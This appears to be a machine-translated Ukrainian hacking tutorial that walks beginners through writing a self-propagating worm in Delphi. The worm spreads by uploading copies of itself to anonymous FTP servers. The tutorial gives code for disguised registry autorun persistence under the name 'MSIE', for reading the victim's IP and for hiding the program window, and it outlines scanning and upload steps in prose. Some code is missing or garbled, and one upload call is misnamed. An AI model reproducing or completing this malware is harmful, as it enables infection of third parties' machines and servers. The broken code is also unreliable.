Як написати мережного хробака на дельфи

Написання мережевого черв'яка на Delphi.

Цю статтю я взяв з сайту www.inattack.ru і думаю вона буде дуже корисна новачкам в КОДІНГ на дельфи.

Здарова! Давай сьогодні напишемо свого мережного хробака? Тобі з будь-якого хотілося мати таку тваринку! Сьогодні я тобі в цьому допоможу! Писати ми будемо на Delphi6. Наш черв'як буде поширюватися через ftp сервера з анонімним входом. Отже, поїхали! Створи новий проект. Так само розмісти на формі компонент NMFTP (так і назви, без всяких 1). Потім треба оголосити 2 глобальні змінні. Робиться це після рядка var, яка йде після рядків

на самому початку unita.
Так само додайте в використовуються модулі WinSock і Registry.

Давайте пропишемо хробака в реєстрі:

RegIni: = TRegIniFile.Create ( 'Software');
RegIni.RootKey: = HKEY_LOCAL_MACHINE;
RegIni.OpenKey ( 'Software', true);
RegIni.OpenKey ( 'Microsoft', true);
RegIni.OpenKey ( 'Windows', true);
RegIni.OpenKey ( 'CurrentVersion', true);
// записуємося в папці Run services, ім'я ключа MSIE, далі йде розташування // файлу
RegIni.WriteString ( 'RunServices', 'MSIE', Application.ExeName);
RegIni.Free;

Щоб він автоматом завантажувався при запуску системи. Потрібно оголосити 2 стрінговие змінні ip1st і ip2nd. У них буде лежати ip розбитий на 4 частини. Виглядати вона у тебе повинна так:

var
Form1: TForm1;
ip1st, ip2nd: string;

Далі потрібно отримати IP зараженої машини. Робиться це за допомогою наступної функції (Назвемо її GetLocalIP):

function GetLocalIP: String;
const WSVer = $ 101;
var
wsaData: TWSAData;
P: PHostEnt;
Buf: array [0..127] of Char;
begin
Result: = '';
if WSAStartup (WSVer, wsaData) = 0 then begin
if GetHostName (@Buf, 128) = 0 then begin
P: = GetHostByName (@Buf);
if P <> nil then Result: = iNet_ntoa (PInAddr (p ^ .h_addr_list ^) ^);
end;
WSACleanup;
end;
end;

Ця функція визначить IP зараженої тачки і поверне його нам у вигляді рядка. Потім нам треба поділити отриманий IP на 4 частини. Давай напишемо таку функцію і назвемо її CutIP (розрізання IP). Ось її код:

Після цього в змінної ftp_list є весь список ip на яких відкрито 21-ий порт. Далі нам потрібно поширити копії хробака по всіх наявних в списку ftp-серверів. Я не буду прямо описувати весь процес, а змушу попрацювати вашу фантазію. При коннекте нам передається список головною директорії. Отримати його можна за допомогою наступного коду:

NMFTP.NList;
// Далі створюємо обробник події OnListItem
// і в ньому пишемо наступну річ
[Імя_спісковой змінної] .Add (Listing);

Після цього в змінної лежатиме список папок і файлів. Тут може виникнути трабл із закачуванням хробака на ftp тому не в кожну папку може бути дозволена запис.
Перевірити це можна наступним чином: спробувати залити в кореневій каталог, якщо не вийде то почати цикл в якому буде братися рядок з ім'ям папки / файлу. Далі змінюємо папку на ту, яку взяли зі списку, якщо помилка (це може бути файл) то йти далі, якщо вдалося змінити то пробуємо залити і т.д. Якщо залити вдалося, то коннектимся на наступну фтпшку і проробляємо те ж саме.

Папка змінюється кодом NMFTP.ChangeDir (ім'я_папки); Закачування файлів відбувається наступним чином: NMFTP.Download (імя_закачіваемого_файла, імя_под_которим_файл_сохранітся_на_сервере); Тепер треба приховати головну форму від очей користувача, робиться це в такий спосіб:
Зайди в Project> View Source
Відкриється вікно редагування коду, сам код повинен виглядати наступним чином:

var
WhEvent: THandle;
begin
Application.Initialize;
ShowWindow (Application.Handle, SW_HIDE);
Form1: = TForm1.Create (nil);
Application.Run;
WhEvent: = CreateEvent (nil, true, false, 'et');
while (true) do
begin
WaitForSingleObject (WhEvent 1000);
Application.ProcessMessages;
end;
end.

І нагадую за свої дії відповідаєте тільки ви самі!